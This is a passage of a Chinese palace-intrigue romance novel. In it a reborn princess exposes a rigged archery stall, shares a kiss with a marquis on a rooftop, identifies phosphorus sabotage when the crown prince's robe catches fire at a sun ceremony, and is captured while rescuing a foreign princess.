店家立在一旁抿唇轻笑：“小娘子的箭术是极好的，再多试几次定能成功。”
“不必试了，你这箭有问题。”
默云猛地转过身来：“容儿姐姐，你说什么？”
尚容斩钉截铁道：“箭有问题。”
此时围观的人不少，见尚容如此说都忍不住议论纷纷。
方才还笑语盈盈的店家听了这话立马脸色涨红，有些忍不住了：“小娘子我看你长得如此貌美，怎的也学人泼脏水，难不成是因为射不中就恼羞成怒了？”
“若是没有问题你怕什么？”尚容挑了挑眉，眼神清冷。
“我……我哪有……”店家努力挺直腰杆。
“魏修洵，你说这箭到底有没有问题？”
人群一侧，正在看好戏的丰诚抬手顶了定魏修洵的肩膀。
魏修洵嘴角微噙，目光落在身披雪色狐毛披风的少女身上不曾移开，声音慵懒：“她说有，便是有。”
丰诚见状忍不住戏谑：“真可谓是一物降一物！没想到你魏修洵也有今天。”
“等着看吧。”魏修洵微微倾斜站立，双手抱胸，目光灼灼。
摊子前，尚容上前取过一支羽箭握在手中，声音清亮：“诸位都知晓，正常的羽箭为了提高射箭的准度会将重心设在中部靠前的位置，而方才我细细观察，发现店家使用的羽箭却会略微后仰。”
尚容将羽箭搁置在一旁的木架子的边缘处，只让木架支撑羽箭重心，前段与后端分别腾空，然而在尚容松开手的一刹那羽箭便向后倒去，人群顿时泛起一阵此起彼伏的喧哗。
方才还能言善道的店家此刻已然面如土色，额间沁满了汗珠。
尚容将掉落在地上的那支羽箭捡起，缓缓走到店家身前勾唇浅笑：“如果我没猜错，你就是在羽箭尾部的银面涂层里做了手脚。”
尚容微微侧身，余光瞥见木架后的几支羽箭，拿起其中一支细细观察，见这支羽箭的尾部并无银面涂层，想来是从市场上购买的羽箭。
她回想着魏修洵在围场时射箭的姿势，随即拉弓上弦，瞄准靶心将弓拉至满月。她屏气凝神，终于松开羽箭。
嗖的一声，羽箭双穿靶心，自靶心后而出。
48. 灼色漾
“好箭术！”
默云欢喜地蹦了起来，随即与一旁的店家对视，微微仰头：“是你设计在先，我也不和你计较，如今我姐姐双穿靶心，把头面给我们吧。”
店家望着一侧的银蝶累丝点翠头面面露难色，他微微抬头正对上尚容极具压迫感的目光忍不住倒吸了一口冷气，只得颤抖着将头面递到默云手中。
人群顿时嘘声一片，而后四散开来。
“多亏了你容儿姐姐，我方才差点就被那个奸商骗了！”默云低头打量着手中的头面，爱不释手，她似是突然想到什么，微微抬眸，“你的箭术是从哪儿学来的？好生厉害！”
尚容微愣，似是随口一提：“从前看过一个人射过箭，今日不过是运气好罢了。”
不知为何，尚容总觉得背后有人看着自己，她随即转身，不远处熟悉的身影映入眼帘。
尚容微微出神，她不知他何时出现在此，又是否听到了自己方才与默云的对话。
此时魏修洵似也察觉到她的目光，嘴角微微勾起，缓步走到她身前。
“殿下，巧啊。”
默云打量着面前容貌俊秀的男人，脑海中顿时浮现那一日宴会上的场景，忍不住道：“我认得你，你……你是大靖晋安侯！”
魏修洵微微侧目，勾唇浅笑：“云罗殿下好记性，在下魏修洵。”
默云的余光落在一旁的身着乌金长袍的青年男人身上，却不成想到对方也在打量着自己，耳根一时微微泛红：“你们……你们也是来逛集市的吗？”
丰诚平日里做生意油嘴滑舌惯了，更是个自来熟，勾唇笑道：“对啊云罗殿下，方才我与魏兄可是看了一出好戏。”
声声入耳，默云挽着尚容的右手挽得更近了些。尚容察觉到默云的异样，握住她的手腕浅笑：“默云，方才你不是说要去买酒喝吗？前面就有一家酒肆。”
“酒肆……”默云不曾记得自己说过这话，待她微微抬眸对上尚容的眼神，心中顿时明了，“对！我们去买酒喝！”
言罢，默云拉着尚容的手腕往一侧的酒肆而去。默云低头选酒，看似随意提了一句：“容儿姐姐，晋安侯旁边那个……是谁啊？”
尚容忍不住微微勾唇：“丰诚早日在边关行商，年关之前才回京。”
默云微微点头：“那他和晋安侯是什么关系啊？”
“他们二人算是多年的旧识。”尚容侧目见默云脸颊泛起了丝丝缕缕的红晕，眉眼轻扬，“丰诚素来擅长玩乐，不如我让他带你四处转转？届时我们山脚下见。”
默云回首望了一眼身着乌金长袍的年轻男人，呼吸顿时快了几分：“那……那好吧。”
就在此时，魏修洵与丰诚二人朝这处走来，尚容本欲说话，却是魏修洵先开了口。
“云罗殿下初来乍到，不如让丰诚带殿下四处转转？”
尚容忍不住微微勾唇：“默云酒量好，轮饮酒丰诚可未必是她的对手。”
听见这话，丰诚忍不住跳了起来：“殿下您这说的是什么话？云罗殿下固然厉害，可是谁胜谁负还不一定呢！”
“那……比比？”默云试探道。
“正有此意！”丰诚答应得极为爽快。
见二人互掐的情景，尚容一时心喜，勾唇轻笑，却不成想魏修洵无声靠近，下一刻慵懒而又夹杂着些许沙哑的嗓音就在她耳畔回荡。
“素来听闻九荣山能见到漫天星辰，既然来了，不如去瞧瞧？”
尚容本以为魏修洵是在说笑，因着雪天是不可能见到漫天星辰的，却发觉此时冰雪已然停了多时，微微抬头还真能看到缀在深蓝色夜幕间的微光。
尚容尚未反应过来，便觉手腕被握住，她与魏修洵穿过人群也不知走了多久，最终远离灯火熙攘，到一处宅院停下。
“这里看上去没有人居住。”尚容环顾四周，道。
魏修洵浅笑颔首，随即侧身伸出一只手：“殿下，把手给我。”
尚容不明所以，但还是下意识地握住了他指节分明的手。
下一刻，尚容感觉自己腾空而起，她一时不太适应下意识地用另一只手去环抱他的腰。魏修洵羽睫微动，反将她护在怀里，待到了屋檐上确定她站稳后才缓缓松手。
“殿下没事吧？”
他微微俯身，语声柔和如细雨春风，字字句句在她心头泛起圈圈涟漪，逐渐荡漾开来。
“无事。”尚容长舒了一口气，微微抬眸见漫天星辰如镶嵌在天地墨色画布之间的宝石般熠熠生辉，使得黑夜不再孤寂。
身处红墙金瓦下的小小一方天地是看不见这漫天星辰的，也唯有在此处得以一见世间的绝美壮阔。
仰首望着天际的星辰，尚容感觉几日来紧绷的神经放松了不少。相比京都，这里远离喧闹，倒让她的心绪平静了下来。
她此时居高远眺，远处的灯火通明尽收眼底，令她移不开眼。
尚容微微侧目，恰好对上魏修洵的眼眸，他竟不知何时不在观景，而是望着自己。
尚容正欲开口，却见魏修洵从背后拿出两个酒坛放在屋檐的瓦片上，嘴角微微上扬。
“你何时拿的？”尚容朱唇微启，随即接过其中一个酒坛，打开瓶盖细闻，浓郁的酒香顿时扑面而来，想来的确是好酒。
“方才在酒肆殿下与云罗殿下说话的时候。”魏修洵眉心微挑。
尚容微微颔首，随即捧着酒坛饮了一口，朝着魏修洵勾唇一笑：“好酒。”
魏修洵嘴角漾着浓重的笑意，尚容见他下一刻捧起酒坛与自己手中酒坛相碰。
他悄然靠近，二人之间的距离近得能隐约看清那一双桃花眼映着她的模样，长袖浮动间，她感觉到他呼吸里萦绕着几缕淡淡的酒气。
“殿下觉得……这漫天星辰美吗？”
他的声线微哑，嗓音却优雅清醇，仿佛浸润着微醺的醉意显得格外撩人。
尚容本想移开目光，却奈何被那双桃花眼吸引，只是缓缓开口：“方才与丰诚喝过酒了？”
魏修洵唇角轻勾，不予置否：“一
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点薄酒罢了，算不得什么。倒是这酒，想来要烈上几分。”
魏修洵低头浅笑，与尚容酒坛相碰，再抬手小半坛就便下了肚。
“知道烈还喝这么快？”尚容抬头仰望天际，忍不住揶揄。
“这看星星就和喝酒一样，重要的不是星星有多美，酒有多醇，而是与何人同行，同赏。”
声声入耳，尚容低头侧目，便悄无声息地坠入一双蒙着一层迷离氤氲的眼眸，待她回过神来想要挣脱，却发觉自己已然沉溺其中，有些无力挣脱不开。
她下意识地后仰，却不成想身下瓦片年久失修微微晃动，她不曾坐稳便向一侧倒去，顺势被他揽入怀中。
少女的腰肢如细柳，纵然此时天凉衣着略显厚重，却依旧盈盈一握。相比于柔软纤细的腰肢，少女的五官已然长开，容貌灼若芙蕖更是令人移不开眼。
尚容感觉自己的呼吸有些乱了，头脑一时有些发晕，她下一瞬间地扶住他的腰，微微仰头合上了眼。
魏修洵唇角笑意浓重，他微微俯身将她揽在自己怀中，目光从眉间一寸寸下移，他的呼吸也逐渐灼热。终于，他再也控制不住诱惑，吻上那朝思暮想的温柔。
仿佛是按捺了很久终于如愿以偿的一个吻，尚容感觉他起初只是温柔的浅尝辄止，而后便仿佛食髓知味愈发放肆，将她抱得更紧了些，不断地加深这个吻。
属于他的气息不断侵入，尚容顿时感觉大脑一片空白，已然不能思考，脸颊也随之微微泛红。但她却不曾逃走，而是心甘情愿地承受着这一分炙热。
“容儿……”男人微醺的嗓音在尚容的耳畔回荡，逐渐将她从恍若梦境的迷离世界拉回了现实。
尚容一时头脑发蒙，只是微微抬头看他。
他懒散地靠在她的肩头，眉眼间蕴了一池秋水，勾唇坏笑：“他们都是这么唤你的。”
他们……他说的是默云，还是……三皇兄尚弘？
尚容强迫自己定了定神，却从他的语气中感觉到了几分委屈，几分期待，还有莫名的占有欲。
“你……是在吃醋？”尚容微微抬眸，眼神迷离。
“你觉得呢？”魏修洵嘴角微噙，鼻梁间的朱砂小痣随着笑意轻轻晃动，落入尚容眼中映着几分别样的勾人和魅惑。他显然是刻意压低了音量，气氛由此更显暧昧，“容儿……”
尚容心中顿时像落了一颗火种，就连脸颊与呼吸都显得炙热难耐。他没给她说话的机会，便再次在她柔软的唇瓣上落下一个吻。
这次的温柔变了调，显出几分强势，可他却仿佛还是克制了几分，不让她感到难受。
“默沙到京城的那几日我总是睡不好……生怕一个不小心他就会使奸计将你抢走，就好像你说的从前那样。”魏修洵微微抬眉，目光灼热而又缠绵。
声声入耳，尚容心头微沉，却听他道：“这次回去之后，我打算向圣上坦白我的心意，名正言顺地与你在一起。”
“这样……就不会有人再想把你抢走了。你……愿意吗？”
49. 设家宴
尚容尚未开口，却感觉到他握住自己小臂的右手微微攥紧，眼神里流露出一种说不出的小心翼翼。
尚容勾了勾唇，靠近在他耳畔：“你觉得呢？”
“不拒绝我可就当你答应了……容儿。”
魏修洵声音微哑，尾音却微微上挑，夹杂着几分缠绵缱倦的意味，落入尚容耳中竟无端令她心跳都快了几分。
尚容故意咳嗽了一声压抑心绪，偏过头去：“只是我父皇可没这么容易说动，难缠得很。”
“只要能得偿所愿，再难我也定会坚持。”魏修洵直起身来坐定，侧目望着尚容，桃花眼深处尽是柔情。
“你是什么时候有这个打算的？”尚容与魏修洵对视，道。
魏修洵嘴角微微上扬，眼眸深处映着面前少女的模样，仿佛浮着一层微光，又似有星辰闪烁。
“总之会比容儿想到的早一些。”
尚容望着魏修洵，一时间有些恍惚，面前男人的身影与前世战马上的主将悄然重叠，但一切分明又截然不同了。
或许……前世若是她早日醒悟，与他不曾错过，也不会酿成后来的悲剧了。
但好在上天给了她重活一次的机会，一切都有挽回的余地。就好像她与他之间，原本她畏他惧他，恨不得避而远之，可如今不知不觉间，他竟已然占据了心中旁人无可替代的的位置，是她愿意并肩走下去的人。
思及此处，尚容心中骤生感慨，忍不住轻声唤他：“魏修洵。”
“嗯。”魏修洵眉心微挑，声音温柔。
“谢谢你。”尚容动容一笑，朱唇微启。
魏修洵微微怔住，右手从她的小臂顺势抚上掌心，而后与她十指相扣，薄唇轻抿，目光灼热：“不必谢我，是容儿你太好了，值得这世上最好的。”
不知为何，尚容感觉心头一阵泛酸，面前男人的脸也逐渐有些模糊。
时辰不早，待二人回到酒肆，却惊讶地发现默云与丰诚二人坐着的木桌旁横七竖八地倒着十来个大小不一的酒坛，竟令人一时无处落脚。
更令魏修洵惊讶的是默云的脸颊因为酒意上头微微泛红，人看上去却是无恙，而一旁的丰诚却直愣愣地趴在木桌上，一身酒气，早已烂醉如泥。
他不曾想到尚容先前说的……竟是真的！
“我就说默云的酒量不寻常吧，丰诚根本招架不住。”尚容望着被喝趴下的丰诚忍不住抿唇轻笑。
魏修洵上前拍了拍丰诚的肩膀：“丰诚！你醒醒！醒醒！”
丰诚闻声艰难地掀开了眼帘，随即竟一把抱住魏修洵，似挂件一样挂在魏修洵身上，同时开始肆无忌惮地耍酒疯。
“再……再来一坛……不……醉不不……归……”
“默云你没事吧？”尚容伸手去扶默云，柔声道。
相比烂醉如泥的丰诚，默云还算清醒，她眯着眼摇了摇头：“容儿姐姐我没事。”
默云微微侧目，目光便直直落在一旁紧紧挂在魏修洵身上的丰诚身上，忍不住捧腹大笑，言语间尽是骄傲：“丰诚他根本不行……就喝成这样了还要和我再来一坛呢！”
尚容顺着默云的目光望去，见魏修洵一脸无奈，眉头微蹙，似是憋了一肚子火气却无处发泄，忍不住勾了勾唇。
“默云，你觉得丰诚怎么样？”尚容靠在默云耳畔，轻声道。
声声入耳，默云脸颊似染了烟霞，更红了几分：“他……他除了酒量……还挺好的。”
“不过我酒量一向好，在西察与男人比喝酒也很少输。”
尚容闻言唇边笑意更重了几分：“时候不早了，我们也该回去了。丰诚那边，有魏修洵在，你大可放心。”
默云点了点头，抬眸目光恰好落在尚容的朱唇上，见原本的胭脂色淡了几分，还有一些染在了唇边的肌肤上。
她迟疑片刻，道：“容儿姐姐……你是吃东西了吗？口脂有些花了。”
这下换作尚容有些无措了，她假意掩饰，装作漫不经心的模样：“可能是我方才吃石榴冻不小心蹭到了吧。”
“这样啊……不过石榴冻听起来很好吃的样子！”默云仰头笑。
尚容耳根微微泛红，抿唇浅笑：“下次带你去吃。”
“好！”
尚容与默云上山分别后，尚容回到房间，见屋内油灯未灭，定睛一看是翠桃坐在床边昏昏欲睡，床边红木桌上摆着一件金丝雪色锦绣华服，一旁还摆放着点翠流苏凤冠和各类首饰。
“翠桃。”尚容轻声唤她。
翠桃顿时惊醒，张开双眼见尚容已然坐在自己身旁，下意识地揉了揉双眼：“殿下您总算回来了，奴婢方才差点都要叫人去找您了。对了……这是尚衣局方才派人送来的后日祭日大典要用的礼服，让殿下试试合不合身。”
说起尚衣局尚容脑海中倒是回想起那奇怪的气味，不过她微微低头，发现这件礼服上并没有异味，希望是她想多了吧。
“我知道了，你也累了先去休息吧，我试完明日告诉你。”
“那奴婢先退下了，殿下早点休息。”
尚容抿唇浅笑：“去吧。”
第二日，尚容难得睡到自然醒，醒来之后翠桃服侍尚容换上了一件翡翠烟罗宫装，而当翠桃替尚容挽发之时，韶淳却匆匆入内。
“出了何事？”尚容察觉到有些异样，侧身问道。
“回殿下，陛下方才派人说午时在后山沧云园设了家宴，请殿下梳洗完毕即可动身。”
“好，我知晓了。”
尚容本以为此次她要在祭日大典上才能会会太子，不成想永嘉帝今日设家宴，她倒是能提前会会他了。还有……皇后。尚容心头一沉。
翠桃替尚容盘好发髻之后，尚容便离开房间往后山而去，一路上尚容没见到尚音和尚华，反倒是撞见了许久未出山的皇叔尚林。
“殿下，好久不见，都成大人了。”
身后一阵低沉的男声响起，尚容缓缓转身见来者与永嘉帝年岁相当，衣着却有种与身份不甚匹配的朴素，容貌因为皇家秘术保养得当，却还是能从中窥见岁月的沧桑。
要说昭王尚林，乃永嘉帝同父异母的兄弟，贵为当朝皇叔，相传此人能力出众，只是淡泊名利，近年来一直归隐，在王府中大门不迈，并无实权，这次尚林出现在此处
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倒是出乎尚容的意外。
尚容微微抿唇：“皇叔。”
尚林浅笑颔首，与尚容并肩而行：“本王虽常年在王府，前些日子却也听闻殿下创立梅兰轩，查破春闱舞弊案，大利民生，颇有当年皇兄之风。”
“皇叔谬赞了。”尚容微微侧身，余光瞥见不远处的沧云园内太子与皇后已然到了。
尚容有意放慢了脚步，让尚林先行一步，在他之后入了沧云园。
沧云园内坐着的头戴博山金冠，身着金色圆领广袖长袍的青年男子闻声起身，见到尚林微微颔首：“皇叔。”
此人便是皇后罗云慎之子，当朝太子尚成。
然而，尚容察觉到相比于尚成的反应，一旁的皇后见到尚林的反应却是有些反常。
尚容对罗云慎也算有些了解，在她的印象里此人性格稳重，不会随意流露情绪，而她方才望着尚林眸色深沉，与以往却是有些不同。
此时尚音，尚华还有二皇子尚启也步入沧云园，而后永嘉帝姗姗来迟。
“既然都来齐了，便开始吧，今日是家宴，都不必拘束。”永嘉帝虽是在浅笑着，眉眼间却流露出不容置疑的威仪。
“这些年皇弟在王府钻研医术，闭门不出，今年朕好言相劝才终于出山，实属不易啊！”永嘉帝的目光落在一旁的尚林身上，举起杯盏，微微勾唇似笑非笑，“想来我们兄弟二人好久没有一起用膳了，皇弟是否应该与朕共饮一杯？”
尚林闻言举起杯盏，微微欠身，言语之间流露出文人的温润有礼：“自然，臣弟敬陛下一杯。”
言罢，尚林将杯中琼浆一饮而尽。
“好！”永嘉帝嘴角轻勾，笑容温和却又不失帝王的威严，言罢他也将琼浆一饮而尽。
“陛下慢点，注意身子。”皇后柔声道。
永嘉帝抿唇浅笑：“今日高兴，多饮上几杯也无妨！”
此时尚容微微抬眸，正好对上太子尚成的目光，尚容原以为他见到自己至少会有些心虚眼神躲闪，却不成想尚成只是浅浅一笑，并无其他表露。
“父皇我可能要出去一下……我有点肚子疼……”尚华突然捂着肚子，表情痛苦。
永嘉帝闻言微微蹙眉：“去吧，容儿和音儿也陪着你们妹妹一同去吧。”
“是，父皇。”
尚容见尚华捂着肚子，看上去实在难受，便与尚音分别挽着她的一只小臂，却不成想一出沧云园方才还叫痛的尚容立马直起身来，像个没事人似的，甚至比她和尚音还要精神几分。
尚容有些诧异，缓缓开口：“你没事了？”
尚华笑着点了点头。
见尚容和尚音用一种难以置信的目光打量着自己，尚华终于忍不住坦白：“我其实根本没有肚子疼，只是感觉里面太闷了，闷得我喘不过气来，想找个借口出来走走罢了。”
声声入耳，尚容忍不住勾了勾唇。不过尚华的性子她一直清楚，素来直来直去，爽快得很。
“你是说父皇和皇叔？”一旁的尚音道。
“是……也不全是。”尚华走了几步，道，“不过大人的事我们还是少听为妙。”
50. 日自焚
话音未落，尚容眉心微蹙，顿生几番思量。她本欲再回沧云园静观其变，然则尚音与尚华找借口直接回住处，尚容担心操之过急反令人生疑，便也与二人一同回了住所。
第二日便是祭日大典，尚容寅时便晨起洗漱，换上了两日前尚衣局派人送来的金丝雪色锦绣华服，头戴点翠流苏凤冠，整个人少了几分少女的清丽，多了几分皇室的威仪。
“这凤冠戴在殿下头上竟丝毫不压人，还是我家殿下衬得上这凤冠。”
一旁的翠桃望着梳妆台前的尚容，忍不住道。
尚容微微勾唇。
若是放在从前，她怕是会被这凤冠夺去风头，好似偷穿了大人衣服的小孩，可是如今的她早已不同往日，生死经历让她相比同龄人多了几分与年龄不符的老成决绝，再华丽的凤冠她也衬得起了。
祭日大典于卯时举办，按照惯例分别为仪仗，乐舞以及祭礼三个部分。
尚容提前抵达九荣山山巅皇丘，众人也都在此处静候。
片刻后，鼓声自山腰处而起，大约会延续半个时辰的功夫，期间永嘉帝会从山腰步行走上皇丘，不坐车撵，这是祭日大典的传统，为了彰显帝王的心诚。传言只有帝王心诚，日神才会保佑来年风调雨顺，家国安康。
半个时辰后，尚容远远望见永嘉帝的身影。永嘉帝身后随从太监、禁军无数，仪仗绵延数十米之远，皇家威仪可见一斑。
待永嘉帝一步步走上九荣山山巅皇丘的祭日台后，祭乐声起，数十名最顶尖的舞者在祭日台下踩着鼓点翩然起舞，众人在原地站立，身体笔直，目光皆望去。
乐舞结束后，便是祭日大典最后还是最重要的一个部分，也就是祭礼了。
一眼望去，祭日台的正东方向早已摆好了日神的金木神位，神位前摆放着一张楠木古铜紫檀木条桌，条桌上有序摆放着各种祭日所用的器皿，个个呈鲜艳的绛红色，象征庄严而不可侵犯的日神。
祭日台下两侧皆有盛着油火的青铜大鼎，相比其他地方要暖和不少，尚容额间都沁出了丝丝汗珠。
皇室子弟在祭日台下排成两列，左列以太子尚成为首，右列以长公主尚容为首。
“跪——”
礼官洪亮的声音响起，永嘉帝与众人皆跪。
“叩——”
众人向祭日台上日神神位的方向叩首。
叩首之后，永嘉帝接过一旁太监手中递过的老山檀香制成的上好线香，为日神上香。
“请日神庇佑我大靖来年风调雨顺，家国安宁，百姓和乐。”永嘉帝再次虔诚叩拜。
尚容见一切还算顺利，压在胸口的巨石碎了一半。她心知上香之后，便是兴，也就是众人起身，而后祭日大典便算圆满落幕了。
“兴——”
众人闻声起身，尚容却陡然听见身后传来阵阵尖叫。
“火——火——”
“触怒了日神，日神降灾可如何是好——”
尚容感觉到身旁有些炙热，微微侧身便见立在自己左侧的太子尚成的金色礼服顿时起火，火光越来越旺且呈诡异的橙黄色，同时隐隐可见几缕蓝色火焰。
一阵特殊的恶臭味逐渐在空气中弥漫，随即直往尚容呼吸里钻，尚容弯下腰连连咳嗽。
尚成顿时手足无措，神色惊恐万分，下意识地想要用手去拍打身上熊熊燃烧的火焰，但却无果，反倒是双手被火焰灼伤，整个人几乎要被火焰吞噬，出现道道不忍直视的伤痕。
“快救太子！”
皇后此时不负早已往日镇定，脸色顿时煞白，吓得几乎快要神志不清，还是永嘉帝先反应过来下令。
然而火焰愈来愈烈，众人从未见过如此怪异的景象，上前几步走到太子尚成身前便不敢上前，面面相觑。
永嘉帝顿时龙目圆瞪，青筋凸起：“违令者，杀无赦！”
众人顿时不再犹豫，群拥而上，但火势并没有因此熄灭，反而太子尚成的叫唤声越来越轻，似是快要支撑不住了。
尚容顿时回想起自己在尚衣局闻到的奇怪的气味，如今太子尚成在祭日台自焚，想必与尚衣局所制的礼服脱不了干系。
水坛在后山沧云园，此刻去取水显然来不及了，尚容顿时反应过来：“是黄磷，用泥土！快！”
永嘉帝随即喝道，额间也沁满了汗珠：“没听见长公主说的吗？用泥土！”
言罢，众人从一旁取来泥土拍在倒在地上的太子尚成身上。今日天气寒冷，泥土还未化霜，大量阴冷的泥土遇到火焰之后，火焰顿时小了不少，没过多久火焰便灭了。
尚成的身上和脸上处处都是灼伤，也幸亏尚成年轻力壮，换作了年长一点的人早就没了命，不过即使如此，也是丢了大半条命，没了半生的尊严和脸面。
“快传太医！”
永嘉帝见火终于熄灭长舒了一口气，但望见浑身烧伤的太子心中依旧发颤，言语之间令人无法反驳。
尚容也舒了口气，她下意识地转身去看原本立在尚华身旁的默云，却不见人影。
尚容心中顿时有种不好的预感，也顾不得太多，径直走向尚华，问道：“三妹，云罗公主呢？”
尚华方才亲眼见到兄长在阳光下自焚已然哭红了眼，此时尚未回过神来，只嚅嚅道：“她……她在这儿啊……”
尚华随即转身，却见身旁空无一人，思绪顿时回笼：“她方才还在这儿啊……怎么不见了……”
“糟了！”尚容心头一沉，心跳加速，强迫自己定了定神，随后二话不说加快了脚步直接跑出皇丘。
“殿下！殿下去哪儿？”韶淳很快追了上来。
“去尚衣局……”尚容微微喘气，“还记得那日的气味吗？太子的礼服上的黄磷便是从尚衣局来的，尚衣局里势必有贼人，文叶想必已经被支开了，如今默云最有可能出现在那儿！”
此时皇丘上因为太子自焚一事乱成一团，以至于待尚容迈入尚衣局，局内空无一人，但她很快闻到了刺鼻的臭味。
“去那儿看看！”
尚容循着气味而去，发现越靠近臭味便越来越重，尚容用衣袖捂住口鼻才避免剧烈咳嗽。就在此时，尚容看见不远处两名小卒打扮的男子守在一间房门紧闭的屋子前，其中一个正点燃火把。
尚容顿时心觉不妙，韶淳也反应过来持剑刺中手持火把的那人心脏，另一个男人眼看就要动手却被尚容用女子防身香迷晕。
然而二人搏斗之际，男子手中的火把还是掉落在地上，并顺着微微倾斜的地势滚落在沾满了石油的门槛上，门
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槛顿时起火。
“快救人！”尚容很快反应过来。
韶淳踹门而入，见默云被绑在椅子上，双目紧闭似乎晕了过去。
“默云快醒醒！”
尚容用力摇了摇默云的肩膀，默云吃力地掀开眼帘，迷迷糊糊道：“容……容儿姐姐……你这么在这儿……”
“出去再说！”尚容察觉到火势越来越大，与韶淳一起扶着默云就往外走，然而刚刚迈出门槛却与不远处十数个身形高大的男人对视。
“快抓住她！不能让她跑了！”其中一个男人高喝道。
“快走！”
尚容与韶淳扶着手脚乏力的默云，自然跑不快。尚容心知这样不是办法，尚且敌众我寡，早晚会被追上，到时默云就危险了，此时她余光瞥见远处的一处楼阁。
祖母曾经与她提起过，那是望生阁，是早年在九荣山上休憩的一座书阁，只不过这几年来年久失修，已然废弃了。
但如今，这座望生阁却成了她唯一的希望。
“快进望生阁！”
尚容回头望着越来越近的凶神恶煞的面容，额间沁出几滴汗珠，她加快了脚下的步伐，终于抢先进了望生阁。
一入望生阁，尚容便放下长条形的门挡，拼尽全力放倒旁边仅存的两个摇摇欲坠的书架抵在门前。
“现在怎么办殿下？主君会猜到我们在这儿吗？”韶淳深知如今情况危急，道。
尚容眉心紧蹙，摇了摇头：“他一定会来，但他们如今就在门外不远，等魏修洵来恐怕来不及了。”
“容儿姐姐……是我连累了你……”默云眼眶微红，心中自责万分。
反观尚容镇定自若，她一把拉住默云往中间绛红色的圆柱走去：“听着默云，现在不是自责的时候，你是西察公主，是西察王室的血脉，若你在大靖出事，两国必然开战，届时天下再无宁日，你必须好好的。”
“可是……”默云将头埋得更低了些。
尚容此时已然隐隐听见门外的踹门声，想来门被踹开只是时间问题。她走到圆柱旁的木桌一侧停下，握住桌角轻轻转动，圆柱便被移动，方才被圆柱撑住的地面上出现一条暗道。
“这是……”默云眼神有了光亮。
“这是早年间为防兵变修葺的暗道，快走！”尚容将默云送入暗道，随即拉住韶淳的手想要将她推下暗道，韶淳却执意不动。
默云顿时看清了局势，面色发白：“容儿姐姐……你不和我们一起走吗……”
“他们迟早会发现暗道，我必须拖住他们，不然我们之前所有的努力都白费了。”尚容眼神决绝，转身与韶淳对视，勾了勾唇，“韶淳，少一个不少，你本就不是我的人，没有必要陪我做傻事。”
韶淳眼眶泛红：“殿下，您待韶淳不薄，与主君一样都是对韶淳最重要的人，我绝不会看着您以身犯险却坐视不理！”
尚容心中触动，但她听得踹门声越来越大，只得怅然一笑：“那便留下吧。”
“是！”
“姐姐……”
“走！去找父皇，或者魏修洵让他们来救我们，务必秘密提醒他们昭王和皇后有问题！”
言罢尚容甩开默云的手，握住桌角轻轻转动，暗道被遮盖，圆柱顿时恢复原样。
51. 身入险
尚容取出一方素帕轻轻拂去方才桌角和圆柱移动带出的多余灰尘，随后从衣袖中抽出一把镶嵌着红宝石的银质安稳匕首丝丝握在手心里，轻声靠近门边。
韶淳也手持长剑靠近门边，与尚容浅笑对视，尚容勾了勾唇，清丽的眸子深处蕴着几分说不出的决绝。
尚容随即抽出一只金玉发簪，在镶嵌的接口处轻轻一转，其中便倒出两颗深红色的药丸，尚容自己服下一颗，将另一颗递到韶淳手中。
韶淳顿时心领神会，仰头服下。
随着踹门声越来越大，阁门摇摇欲坠显然是坚持不住了，下一刻阁门从外面被踹开，轰然倒地，声音整耳欲聋。
尚容先下手为强，趁最前面那几个禁军打扮的男人还未反应过来，抬手撒出白粉，前几个人轰然倒下。
然则尚容深知接下来便难办了，后面的人有了警惕，再加上自己手中的女子防身香已然耗尽，怕是拖不了多久了，但她别无退路，只能试着为默云抢出一线生机。
她是大靖的长公主，受万民敬仰供奉，经历了前世生死，她更加知晓两国开战将要付出的代价，是以今日的选择，她无愧于心。
只可惜世事难料，剩下的……就交给命运吧。尚容望着手中的匕首，微微出神，怅然一笑。
果然如尚容所料，后面几个大汉有了前者的教训皆捂住口鼻谨慎不少，韶淳主动护在尚容前面与他们短兵相接，但苦于对方人多势众，韶淳很快就被包围，而尚容也落了单。
一个身形高壮的灰衣男人见状手持刀刃向尚容而来，尚容被逼得步步后退，一直退到墙边，已然无路可走。
对方见尚容无路可退伸手便抓尚容的喉咙，尚容后背发凉，眼神却丝毫不惧。
正当灰衣男人的指尖就要触碰到尚容柔软的脖颈时，尚容右手突然微张，指间银针见血封喉，男人突然双目圆瞪，下意识地用手握住自己的脖颈，很快就没了动静。
“殿下小心！”韶淳叫道。
尚容闻声转身，见一个蒙面男人也向自己扑来。尚容微微眯眼，不知为何，她觉得此人身形有些熟悉，但因其蒙着面，故而看不分明。
蒙面人显然要比方才的男人聪明许多，知晓尚容指间有银针，便不静身，而是想要制住尚容手脚，似乎并不急着要她的命。
尚容挣扎着推开他，却被他死死困住，混乱中对上他的一双眼。
尚容见机右手微倾，只可惜她早已有些无力，匕首只是浅浅划破对方胸膛，男人眼神陡然狠厉，抬手便向尚容后肩重重地劈了下来。
尚容心道不妙，眼前顿时一阵发黑，她踉跄了几步，向后倒去，耳边只隐约听得一声。
“长公主殿下，久违了。”
尚容一时感觉天旋地转，意识也逐渐陷入一片混沌。
这一觉，尚容不知自己睡了多久。她感觉似是靠在稻草堆旁，耳畔不断地听到急雨落地的噼啪声，混杂着泥土的气味直往呼吸里钻，就好像自己刚重生醒来时那样。
她吃力地掀开眼帘，见此处显然是一处柴房，她环顾四周却不见韶淳踪影，只有自己一人，柴房的门从外面被人锁上，门外隐约可见一左一右两个男人的身影。
尚容抬手按了按太阳穴，却只觉四肢发软有些无力，余光瞥见露出的一截手臂上隐约可见白色的血管。
她眉头顿时紧蹙，将衣袖撩开，发现光滑的手臂上白色的血管无声蔓延，几乎遍布了整只手。
尚容冷冷一笑。果然是南义教搞的鬼，幸好……
就在此时，尚容听见门外传来细碎的交谈声，她新生警惕，靠在稻草堆旁闭上双眼。
吱呀一声，破旧的房门从外面被推开，一个衣着光鲜的年轻男人走了进来。他以银质面具蒙面，是以不见其容，面具下露出的一双眼却格外阴鸷，整个人透露出一种异样的偏执。
他仔细打量着面前沉睡的少女，眼眸蒙上了一层阴郁，右手随之微微攥紧，似是有些不耐烦。
他朝着门外守卫挥了挥手，声音低沉：“人还没醒吗？”
尚容心头一沉：这声音……怎么这么像……
“或许是执事的那一掌下手太重……又或许是蛊的威力太大，她一下子受不住也是有的。”
男人没再说话，可尚容却觉得有些不妙。
果然，下一秒尚容就被迎面泼了一盆冷水，现在虽然已经入春，可依旧是春寒料峭，尚容身体下意识微微颤抖，她吃力地睁开眼，装作刚醒的模样，熟悉的蒙面男人映入她的眼帘。
她死死地盯住面前的蒙面人，眼底浮着一层血丝：“你……是何人？”
“你就这么想知道吗？”
